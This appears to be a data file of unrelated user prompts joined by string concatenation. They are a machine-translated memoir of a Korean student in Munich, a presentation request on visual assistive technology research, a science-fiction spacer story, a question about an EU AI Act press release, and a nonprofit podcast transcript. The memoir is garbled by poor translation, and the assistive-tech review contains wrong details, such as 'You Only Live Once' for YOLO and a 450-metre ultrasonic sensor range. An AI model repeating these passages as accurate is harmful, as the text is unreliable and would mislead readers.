found an advertisement with a twisted pencil that said, "There is an empty room, electricity, 5 minutes walk from school, 50 marks monthly rent." The house really stood in a vast park called the British Park, about five minutes from school. It was a horribly old gray four-story building standing right behind the lake in the park. The first impression was not pleasant because it reminded me of Poe\'s Usher family. But what else is there? Most of the other vacancies were Norfur American or extremely expensive…….\n\n \n\nI forced myself to go to the closed door and ring the doorbell. An extremely obese short-haired grandmother, who is about 60, came out. He was short and shabby in his clothes. I wanted to say, "I want to rent a room," but I think I asked, "Can I rent a room?" The grandmother\'s expression was surprisingly sweet and showed a smile that could be described as savory around her mouth. "Have you seen the school advertisement?" I think the grandmother said something again. I couldn\'t understand it, but it sounded innocuous. "Can I see the room?" he asked. "Yes, yes, please come in."\n\n \n\nRoom, it\'s my room. I followed the old lady through the long corridor. Nangha was dark, and there were many rooms, and each room had a small name. At the end, the grandmother stopped and took a bunch of keys out of her pocket.\n\n \n\n"The person who lived here went back to his country two days ago. He was a Persian."\n\n \n\nThe key was turned and the door opened. I hesitated to go in after my grandmother.\n\n \n\nThe room was as dark as the floor, but surprisingly clean. A large green pottery stove stood in a corner, with a pedestal with electric furnaces and a bed covered with white mattresses and blankets. And there was a comma with a gyeongdae and a cupboard. Two windows were made of grapes opposite to the English park, and the double windows were covered with double curtains.\n\n \n\n\'Would you like to?\' asked the grandmother.\n\n \n\n"Yes."\n\n \n\n"You have to pay the rent a month in advance."\n\n \n\nAfter my grandmother left, I opened the shutters and opened the windows wide. The narrow stone-wrapped alley was completely covered with gray fog and the water flowed into the room moistly. I was looking out the window forever. This was the oldest area in Munich with few people passing by, and it seemed to be a village living under the selfishness of civilization as it was in the 1920s when it was not bombed.\n\n \n\nI put the trunk under the bed and lay on the bed. But I couldn\'t sleep even though I was tired. I locked the door with the key and went out into the street. At that time, it was time to turn on the gas light (I think it was around 5 o\'clock), so a uniformed grandfather was riding a bicycle and using a long stick to turn on the gas light, which was the old style standing on both sides of the narrow stone road. I still cannot forget the scene where the lights were lit one by one in the thicker fog and dimmer search. The lemon-colored light that shone lightly through the dark gray veil remains in my heart forever. If I miss Gurapa, it\'s because of fog and gas lights.\n\n \n\nThe next morning I went to a nearby \'life essentials store\' and bought two loaves of bread and a bucket of margarine. I put the kettle on the electric furnace and ate bread.\n\n \n\nThe start of school was still a month away. I originally didn\'t like to go around or walk, and I was even more scared abroad. However, during the day, I made up my mind (in fact, I was hungry because I couldn\'t eat a decent meal since I arrived), and entered a restaurant called Zerrooje, which was right nearby. I looked at the menu, but I didn\'t see much of it. But I thought I knew that it was a sweet pig cutlet, so I ordered it. However, what Huro Elaine (the employee) brought was not a cutlet of our concept, but just boiled pork in a large lump. It looks like that\'s how you actually cooks. I sat helplessly in front of the food I didn\'t want to eat. I didn\'t understand the meaning of the question, "What would you like to drink?" and just smiled, and he was bringing beer into a small cup. I was just sitting quietly. I feel like I\'m going to burst into tears when I talk...….\n\n \n\nAt that time, several teenagers came in and approached the jukebox and seemed to pick the board. One of them glanced at me and pressed something. After that, unexpectedly, a Japanese song leaked out, and I was watching it in amazement, and one of them was telling me as if one of them was Japanisches Abschiedsleid. They probably didn\'t think I was Japanese. At that time, there were few Koreans in Munich, and moreover, there were no women even when they tried to look around, so they probably guessed so. I sat silently, just smiling, too. But somehow I felt less sad and less alone.\n\n \n\nAfter that, I often visited the house in the afternoon or evening. It was because the distance was close to my room and I knew that the food was cheaper than other places. Furoiline was kind, too. He always showed me kindness without saying a word and brought me a weekly magazine to my table.\n\n \n\nIn the meantime, I also found out that this restaurant was not just a restaurant, but a gathering place for artists. I also learned that there is Poet Night on Thursday and Painter Night on Tuesday. I learned that photographs, letters, and chalk signs clung to one wall of the house were the work of prominent writers, painters, and cartoonists, such as Ludwig Toma, Ringelnatz, Kastner, and Siegfried Sommer, and that the house was once the center of the anti-Nazi movement.\n\n \n\nFor the first time in this house, I knew the existence of a female poet named Japanese Aihinga along with her unusual appearance and attractive long black hair.\n\n \n\nAutumn is deepening.\n\n \n\nAfter the lecture, I went to a nearby coffee shop with my classmates (Austrian girls or French students) and learned how to make lunch with a cup of cream coffee. The state library was as bright as inside his house, and he knew all the old bookstores in downtown Munich. I became close to the owner of the used bookstore and heard about Lee Mi-reuk. I got used to buying about 50 pennies of roasted chestnuts sold in front of the main gate of the school and eating them in the classroom.\n\n \n\nBut my mind was very empty. I didn\'t know the fact that I couldn\'t run or walk to my home country would open up such a scary abyss in my mind.\n\n \n\nBreathing in the thick fog, I missed the blue sky. I drew persimmon trees and jujube trees in my dream. As a matter of fact, what I missed may have been a yellow shadow. It wasn\'t some sentimental or aesthetic smoldering. It was such a desperate vision that the vision of a colored nation, their tragedy embedded in me and that I am considered here as their representative. It is safe to say that it was an uncontrollable fear. In the classroom, the professor\'s dialect, the obscurity of pronunciation by old age, and the vision of Italian rice in cellophane displayed in the daily necessities store followed me.\n\n \n\nThe Leopold barrel from the University of Munich to my boarding house was lined with huge, upright poplar trees. Autumn was the most beautiful when the road began to be thick with all kinds of leaves of light. There was a \'glass zoo\' on the street that looked like a small fishbowl. All kinds of tiny beasts, ceramics, ballerinas, wonderful elaborate with glass...… It was like a country in Andersen fairy tales. Every day I would look in the display case for more than five minutes every time I walked in front of it. They were animals that I wanted to have and caress.\n\n \n\nBehind the store was a house called Noah Noah, which collapsed. It was a gathering place for Dadaists, and there were always strange and bizarre paintings attached. It also seemed to be a salon where painters talked with their beards hanging down. Sometimes Erica\'s own readings seemed to be held.\n\n \n\nAround that time I found a restaurant cheaper than Zerrooje.\n\n \n\nIt was a stand-up restaurant. It was a sausage restaurant where white sausages were grilled over a fire and mustard was applied. On top of that, even if I ate a sour cucumber and a cup of lemonade, it was not worth a mark, so I tried to make it cheap, but it was delicious to be dragged in just by the smell.\n\n \n\nEating simply and quickly……. And I walked around. The alley between school and my room, the alley, and the English park...… This was my mountain range.\n\n \n\nOne day I watched the last swan float until late in the evening. In the dim light, white clumps gathered here and there, and sometimes rustled. He looked very lonely.\n\n \n\nI may have felt the same way I felt.' +"Please provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n\u2003\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" +"ENTRY 2 \n\nVal's Early Life\n\n\\*\\*\n\nStaying alive, I suppose you’d say that was my preoccupation, the Co-Op may as well have been my mother and father, and the options were that, or something worse. And spending my first few years in a firetrap tenement of a human district at Three Points East, I knew what “worse” looked like. \n\nSo you take ratings. Wash, rinse, repeat. I was always good at math, and fixing things, and managed to pick up a couple of local languages, like Tradetongue and Novayan - most of all I knew what streets to stay off of on my walk back from the market, and what not to wear in case I couldn’t stay off those streets. \n\nThen after Mama died, and we moved up to Perimeter One (where my grandmother lived), things changed. The big space station was lonely and austere much of the time but it was safe. It’s a lonely childhood but it’s not like you know better, because pretty much any other human children, doing the same thing, taking their Early ratings, sitting in the atrium by themselves while mom’s giving out tools at the station depot. But sometimes during Landing Day or Mars Day or Yuri’s Night it turns into a weeklong party, an inversion festival if you will. \n\nAnd that’s how I found out, that whatever station I happened to be at, there were other parts of the station. On Perimeter One, I would walk, and take the freight lift down to the Nadiran quarter. There it was clean, and quiet, and everybody usually just went about their thing. I strained to listen to their language and learned quickly to duck behind a pylon before I was seen. They leaned over in their dark robes, speaking barely above a whisper, making deals, and after straining my eyes I learned to pick up a bit of the hand signs they used in their haggling. \n\nI rated onto my first Massive Container Transport at 16, as a trainee. That’s when people started calling me “Sparks,” not once in that whole trip did anyone remember my name. I thought stationside would be different with cred on my stick, no such luck.\n\nI tried to hook up in port a few times, wanted to see what all the fuss was about, turns out alcohol can make anything happen. Mostly though I just didn’t know how to pass the time after the depots and library branches were closed. Didn’t know what to do with company anyway, so mostly in port I just laid low. \n\nBut… I just… nothing ever really happened, not at any stop, year after year; somehow it’s like I was standing on the sidelines, my syndics all shuffled off to their families and friends. None of that had happened for me, somehow whatever it was when we were on the ship, disappeared in port. \n\nSo at 20, when I had the chance to rate in ansible and work a ringship between the Destruction system and the Port West system, I took it. That’s why I became an intersystem spacer, because I was already out of sync anyway, had no family, had no one. Time loss wouldn’t mean a thing to me, nobody knew I was alive. Some Light Chasers get addicted to the feeling of… when I get back, how badly will shit have changed. Some of us just love that every time we get back, the food’s better than whatever we left behind. A few months to us, but meanwhile, downworld they’ve had years to get their shit together. \n\nNot like any sensible person with a family would ever make a life of this. It’s not just a way to run away from your problems, nobody downworld wants to deal with it. One or two trips, that’s one thing: especially when you’re young. But you pick the life of the Light Chaser, for any length of time, because you got no family to begin with, and you don’t want one.\n\nMay as well see the next system over, right? Get me further away from the hole in the wall called Three Points East. I never thought much about the future. That had something to do with settling down in the communes and raising seaweed or something, whenever anyone talks about “the future of the Co-Op” they’re always talking about the people raising rugrats on AgCom 5 or something. People on the ground, they think about the future. For me, the future is happening whether I want to think about it or not. No time to think about it.\n\nAs a kid I was good at just a few things, staying out of the way and studying, and fending for myself, and not complaining. Above all, don’t complain. They won’t hear it. If you think this life ain’t much then it’s still an RCH better than joining a gang on Three Points East, or selling your body, or being a drug mule on Port West. If you’re a smart kid then this is your best chance at an actual life. Maybe even you put your feet dirtside and have a family. Your grandparents broke their bodies as asteroid miners to give you this, and shed blood to give you this. Your great grandfather or great grandmother stayed in a crimp on some hellhole station, just to get abducted away by corporate sleeper ship and cross light years in cold storage. All so you could have this, in relative safety, the routines are what they are, and so your own children (figuratively speaking) could do better still. Could always be much worse. \n\nYou could be on Earth. And in my years since, I learned there are places even worse, that make Earth look like a garden spot. Suffice it to say, seeing what I’ve seen since, I might take Earth over any of them.\nENTRY 3\n\nSo the thing about long distance transport is that it’s one of the best places to be a trainee. It’s got the most opportunities for rating and cross-training. You’re probably not gonna die too messily. If it’s a Massive Container Transport going between systems, you see the most people, and it’s still one of the least cramped of the ships in ItSyn’s complement, let alone the Co-Op’s as a whole. (An MCT is a belly-lander, detachable from its modular ring drive, but that’s beside the point.) This make and model of MCT, a second-generation, is the newest and cleanest and has the best filtration, and the most space. On a smaller ship, you’re smelling each other’s sweaty asscracks all day. MCTs on the other hand just kind of always smell like hand cleaner and engine grease. MCTs are the smoothest ride, the newest components. \nThe Intersystem Transport Syndicate has the best facilities, the best security. You can license your own ship and run a commercial service under the auspices of the Co-Op, sure, but on a lot of things you’re just gonna be on your own. And that’s how lots of people like it.\nBut you gotta get from here to there, and if you’re from Three Points East like me, then the extra cred working for ItSyn is how you get there. The MCTs have the best facilities, with two big hab rings for in-system (longest parts of a trip). Before we make jump between systems, you make sure you got your belongings off because we’re going to be leaving the hab rings behind. On we go into the drive frame, we lock in, on goes the A-drive and control units, and then the pre-jump checks before spin up, and that’s a longer procedure than I’m going to bother to walk you through, but everything’s got to be snug and everything’s got to be balanced. Then you take your meds and get into your liquid filled intersystem crash couches. A jump takes absolutely precision usage of fuel, more than any other maneuver, because you don’t want to overshoot your target and plow into a star. Takes a big thrust to spin up, the hardest you’ll pull Gs on any trip short of leaving dirtside. I know you were hoping for some kind of warp drive technobabble, or to hear about monsters or some bullshit. Sorry I can’t make it a better story.\n\nThat’s the hardest part of a jump. It’s not even the spin-up. That happens fast, and smooth. You feel nothing. Nothing even shifts as the ripple in spacetime moves around you and you push through it. Some of my syndics called that part hitting the halfpipe, don’t know where that’s even from.\nJust get in, sit down, shut up, and hang on.\n\\*\\*\nThe best part of an MCT is the privacy. The newer MCT habs have “soundproof” individual compartments with sliding doors, so if your habmates are like mine and always having visitors over, then you’re going to be grateful for that. If the visitor is a certain Novayan, then it’s probably not going to be enough.\nThat Novayan was one K’Ratha, an FNG working in the hold, better known for his sack skills than anything else. He’d come aboard with some other Novayans a month back, but none were as popular as him (there were a couple of quieter males and a grumpy female). K’Ratha made the rounds in my hab multiple times on each leg of the trip, and this was going to be a long one. Apparently he was quite in demand, and the soundproofing wasn’t enough. Ended up just laying with my noise-cancelers on and the pillow over my head. This was going to be a long trip.\nWhen I finally saw him in line in the mess, there was another Novayan with him, and overhearing the conversation between them, I had the impression that our K’Ratha thought his ears and whiskers were gonna buy him some automatic cred on the lanes. The other Novayan – bigger, with broader shoulders - crossed his arms and glowered down at K’Ratha, shaking his head. “It’s rude, K’Ratha,” he said, his voice a shade deeper than the other’s, “To speak in Novayan in front of the humans. Why do you have to be such a walking stereotype, ay?”\n“Rreh. Thanna rrala the,” I said.\nThe bigger Novayan reached up and smacked the back of K’Ratha’s head.\n“I apologize for my brother,” he said, bowing his head slightly.\nNow, I’d never seen this Novayan before, despite the fact that he’d come on with K’Ratha, and was surprised at his aura of general formality.\nThe two Novayans looked similar, bigger though this one was. They both had coppery fur with dark stripes and swirls, and black noses.\nThe patches on the bigger Novayan’s flight suit read NAV SPEC III, and he had a bunch more additional rating patches on his flight suit and various fam candy, and his name patch read R’Kesh.\nI shook my head, and kept moving forward in the line to get my tray, thinking on whatever deal the Co-Op must’ve made with Seven Brothers Aqua to keep this many Novayan crewmates in this much space-farmed salmon.\n\n\\*\\*" +'What this article is explaining is this a law? "\nEuropean Council\n\nCouncil of the European Union\n\nAbout the institutions\nTopics\nMeetings\nNews and media\nResearch and publications\nEN\nHome Press Press releases\nCouncil of the EU Press release 6 December 2022 10:20\nArtificial Intelligence Act: Council calls for promoting safe AI that respects fundamental rights\nThe Council has adopted its common position (‘general approach’) on the Artificial Intelligence Act. Its aim is to ensure that artificial intelligence (AI) systems placed on the EU market and used in the Union are safe and respect existing law on fundamental rights and Union values.\n\nIvan Bartoš, Czech Deputy Prime Minister for digitalisation and minister of regional development\nArtificial Intelligence is of paramount importance for our future. Today, we managed to achieve a delicate balance which will boost innovation and uptake of artificial intelligence technology across Europe. With all the benefits it presents, on the one hand, and full respect of the fundamental rights of our citizens, on the other.\n\nIvan Bartoš, Czech Deputy Prime Minister for digitalisation and minister of regional development\nThe draft regulation presented by the Commission in April 2021 is a key element of the EU’s policy to foster the development and uptake across the single market of safe and lawful AI that respects fundamental rights.\n\nThe proposal follows a risk-based approach and lays down a uniform, horizontal legal framework for AI that aims to ensure legal certainty. It promotes investment and innovation in AI, enhances governance and effective enforcement of existing law on fundamental rights and safety, and facilitates the development of a single market for AI applications. It goes hand in hand with other initiatives, including the Coordinated Plan on Artificial Intelligence which aims to accelerate investment in AI in Europe.\n\nDefinition of an AI system\nTo ensure that the definition of an AI system provides sufficiently clear criteria for distinguishing AI from simpler software systems, the Council’s text narrows down the definition to systems developed through machine learning approaches and logic- and knowledge-based approaches.\n\nProhibited AI practices\nConcerning prohibited AI practices, the text extends to private actors the prohibition on using AI for social scoring. Furthermore, the provision prohibiting the use of AI systems that exploit the vulnerabilities of a specific group of persons now also covers persons who are vulnerable due to their social or economic situation.\n\nAs regards the prohibition of the use of ‘real-time’ remote biometric identification systems in publicly accessible spaces by law enforcement authorities, the text clarifies the objectives where such use is strictly necessary for law enforcement purposes and for which law enforcement authorities should therefore be exceptionally allowed to use such systems.\n\nClassification of AI systems as high-risk\nRegarding the classification of AI systems as high-risk, the text adds a horizontal layer on top of the high-risk classification, to ensure that AI systems that are not likely to cause serious fundamental rights violations or other significant risks are not captured.\n\nRequirements for high-risk AI systems\nMany of the requirements for high-risk AI systems have been clarified and adjusted in such a way that they are more technically feasible and less burdensome for stakeholders to comply with, for example as regards the quality of data, or in relation to the technical documentation that should be drawn up by SMEs to demonstrate that their high-risk AI systems comply with the requirements.\n\nSince AI systems are developed and distributed through complex value chains, the text includes changes clarifying the allocation of responsibilities and roles of the various actors in those chains, in particular providers and users of AI systems. It also clarifies the relationship between responsibilities under the AI Act and responsibilities that already exist under other legislation, such as the relevant Union data protection or sectorial legislation, including as regards the financial services sector.\n\nGeneral purpose AI systems\nNew provisions have been added to account of situations where AI systems can be used for many different purposes (general purpose AI), and where general purpose AI technology is subsequently integrated into another high-risk system.\n\nThe text specifies that certain requirements for high-risk AI systems would also apply to general purpose AI systems in such cases. However, instead of direct application of these requirements, an implementing act would specify how they should be applied in relation to general purpose AI systems, based on a consultation and detailed impact assessment and considering specific characteristics of these systems and related value chain, technical feasibility and market and technological developments.\n\nScope and provisions relating to law enforcement authorities\nAn explicit reference has been made to the exclusion of national security, defence, and military purposes from the scope of the AI Act. Similarly, it has been clarified that the AI Act should not apply to AI systems and their outputs used for the sole purpose of research and development and to obligations of people using AI for non-professional purposes, which would fall outside the scope of the AI Act, except for the transparency obligations.\n\nConsidering the specificities of law enforcement authorities, several changes have been made to provisions relating to the use of AI systems for law enforcement purposes. Notably, subject to appropriate safeguards, these changes are meant to reflect the need to respect the confidentiality of sensitive operational data in relation to their activities.\n\nCompliance framework and AI Board\nTo simplify the compliance framework for the AI Act, the text contains several clarifications and simplifications to the provisions on the conformity assessment procedures.\n\nThe provisions related to market surveillance have also been clarified and simplified to make them more effective and easier to implement. The text also substantially modifies the provisions concerning the AI Board, aiming to ensure that it has greater autonomy and to strengthen its role in the governance architecture for the AI Act. In order to ensure the involvement of the stakeholders in relation to all issues related to the implementation of the AI Act, including the preparation of implementing and delegated acts, a new requirement has been added for the Board to create a permanent subgroup serving as a platform for a wide range of stakeholders.\n\nAs regards penalties for infringements of the provisions of the AI Act, the text provides for more proportionate caps on administrative fines for SMEs and start-ups.\n\nTransparency and other provisions in favour of the affected persons\nThe text includes several changes that increase transparency regarding the use of high-risk AI systems. Notably, some provisions have been updated to indicate that certain users of a high-risk AI system that are public entities will also be obliged to register in the EU database for high-risk AI systems.\n\nMoreover, a newly added provision puts emphasis on an obligation for users of an emotion recognition system to inform natural persons when they are being exposed to such a system.\n\nThe text also makes it clear that a natural or legal person may make a complaint to the relevant market surveillance authority concerning non-compliance with the AI Act and may expect that such a complaint will be handled in line with the dedicated procedures of that authority.\n\nMeasures in support of innovation\nWith a view to creating a legal framework that is more innovation-friendly and to promoting evidence-based regulatory learning, the provisions concerning measures in support of innovation have been substantially modified in the text.\n\nNotably, it has been clarified that AI regulatory sandboxes, which are supposed to establish a controlled environment for the development, testing and validation of innovative AI systems, should also allow for testing of innovative AI systems in real world conditions.\n\nFurthermore, new provisions have been added allowing unsupervised real-world testing of AI systems, under specific conditions and safeguards. In order to alleviate the administrative burden for smaller companies, the text includes a list of actions to be undertaken to support such operators, and it provides for some limited and clearly specified derogations.\n\nNext steps\nThe adoption of the general approach will allow the Council to enter negotiations with the European Parliament (‘trilogues’) once the latter adopts its own position with a view to reaching an agreement on the proposed regulation.\n\nGeneral approach\nGeneral approach - Statement by Germany\nDraft regulation (Commission proposal)\nA European approach to artificial intelligence (European Commission information)\nA digital future for Europe (background information)\nVisit the meeting page\nPress contacts\n Dimosthenis Mammonas\nPress officer\n +32 477 61 20 77\n +32 2 281 2504\n @dimos\\_mammonas\nIf you are not a journalist, please send your request to the public information service.\n\nTopics: \nShare\nShare this page on Facebook Share this page on Twitter Share this page on LinkedIn Copy the URL in your clipboard \nLast reviewed on 07/12/2022\nIs there something wrong with this page?\nAbout the secretariat\n\nPublic procurement\nCareers\nTraineeships\nMore\nCorporate policies\n\nData protection\nTransparency\nMore\nContact\n\nHow to get to the Council\nAsk a question\nVisit the Council\nMore\nEmail subscription\n\nSign up to receive our email and SMS alerts\n\nAbout this site\n\nThis website is the official website of the Council of the EU and the European Council. It is managed by the General Secretariat of the Council, the body of staff responsible for assisting the Council of the EU and the European Council.\n\nFollow us\n\nSitemap About this site Privacy and legal notice Language policy Accessibility policy Copyright Cookies\n"' +'[00:00:05.050] – Intro\nWelcome to The Nonprofit Hero Factory, a weekly live video broadcast and podcast where we’ll be helping nonprofit leaders and innovators create more heroes for their cause and a better world for all of us. Da Ding!\n\n[00:00:21.350] – Boris\nHi, everybody. Welcome back to The Nonprofit Hero Factory. I’m excited today to talk to Steven Shattuck, the Chief Engagement Officer at Bloomerang. Over the last several episodes, we’ve talked a lot about data. Really, since I started this podcast, I’ve talked about data and especially about the story in the data and how to apply storytelling to data.\n\n[00:00:40.100] – Boris\nToday, we’re going to dive deeper into one of the aspects that we’ve been focusing on recently, which is, what is the data saying about giving in the U.S. over the last couple of years? Previously, there have been a lot of studies that have purported to demonstrate that data—that the giving in the U.S. is on the decline, that individual giving is on the decline, and primarily it’s larger scale donors that are making up the difference. Over the last couple of years, through the pandemic, things seem to have shifted quite a bit. We recently had Tim from Neon One on the show talking about this.\n\n[00:01:17.920] – Boris\nToday we’re going to dive deeper with Steven Shattuck, who, as I said, is the Chief Engagement Officer at Bloomerang. Steven is also a prolific writer and speaker. He curates Bloomerang’s sector-leading educational content and hosts their weekly webinar series which features the top thought leaders in the nonprofit sector. I am honored to have been one of those. Actually, no, I’m going to be one of those in a couple of months here. He is the author of “Robots Make Bad Fundraisers,” an awesome title, subtitled “How Nonprofits Can Maintain the Heart in the Digital Age,” which was published by Bold and Bright Media in 2020. Steven describes his superpower as helping nonprofits humanize how they use technology to aid in their fundraising efforts. An awesome superpower that I’m excited to bring Steven on to demonstrate and help us all with today. Hey, Steven.\n\n[00:02:06.750] – Steven Shattuck\nHey, Boris. Thanks for having me.\n\n[00:02:08.470] – Boris\nIt is absolutely my pleasure. We’ve known each other for a little while now, and I’m excited every time I get to chat with you. It’s always a fun conversation. I learn things and we get to share more things with people out there who want to create more heroes for their cause.\n\n[00:02:22.280] – Steven Shattuck\nI feel the same way. We’re going to have you on the webinar series. We had you on The Kindful one, and I learned a lot from you. And yeah, this is awesome to be here. So thank you.\n\n[00:02:30.340] – Boris\nAwesome, Steven. So I’ve shared your bio and I’ve mentioned your superpower, which I’m excited to utilize today—to harness for all of us today. But I always like to ask people, since I do focus on storytelling so much, what’s your story? Why are you who you are today?\n\n[00:02:44.840] – Steven Shattuck\nWell, it’s funny, I was thinking about this because the story always kind of annoys my wife so now that we’re going to record it, she can relive it, I guess. But I met my wife in college, and she always aspired to be a nonprofit person. She wanted to work for nonprofits. She did that when she got out of school. She’s achieved that goal, but I sort of fell into it kind of backwards. I ended up working at a marketing agency that just so happened to serve nonprofits exclusively. So my first kind of gig out of school was producing videos like Gala videos. We were sending DVDs in the mail for Capital Campaign, if that kind of ages myself a little bit. So she’s always kind of annoyed that I get to do things like this. “You never wanted to work for nonprofits. I always did.” So that’s kind of how I fell into it.\n\n[00:03:35.050] – Steven Shattuck\nI was an English major, so it was basically work at a marketing agency or write the Great American Novel. And thankfully, I did the former because no one needs that novel from me. I’ve been doing that. And that’s kind of where I got my chops in fundraising and eventually made my way to Bloomerang when that company got started, and I get to talk to fundraisers, find out what’s working, what’s not working. Highlight their stories. Look at the data. That’s what I’ve been doing a lot over the last two years. Like you said, just to kind of help people meander, navigate through this new reality that we find ourselves in.\n\n[00:04:14.930] – Boris\nAwesome. Like so many of us, you came into it through the side door, to the nonprofit space, but you got to bring skills that nonprofits desperately need. And I’m sure they’re all grateful, the ones that get to work with you, for what you’ve been able to bring to the table and been able to bring to Bloomerang since then. Let’s go ahead then and dive in and see what is going on out there, Steven, what’s happening in that sector?\n\n[00:04:41.430] – Steven Shattuck\nYeah. I mean, this is what we’ve been looking at. Not only what Bloomerang customers are doing, but all the studies. You talked to Tim last week, they did that great study over at Neon One, The Fundraising Effectiveness Project, Giving USA, the Blackbaud study. All of that seems to point to what you said, which is people really responded during the pandemic. I know we’re not quite out of it yet, but those giving levels have really kind of maintained that increase that occurred in 2020, which surprised a lot of us, right? We figured, dang, that was a tough economy. That was obviously a very severe pandemic and still is in a lot of ways.\n\n[00:05:20.770] – Steven Shattuck\nBut when you look at what happened in terms of donor response, the generosity was there and the capacity was there, and it was those small dollar donors that led the way, right? It’s exactly what you said. It wasn’t just those billionaires kind of swooping in to save the day. It was people giving under $250 that was the biggest cohort of donors. So 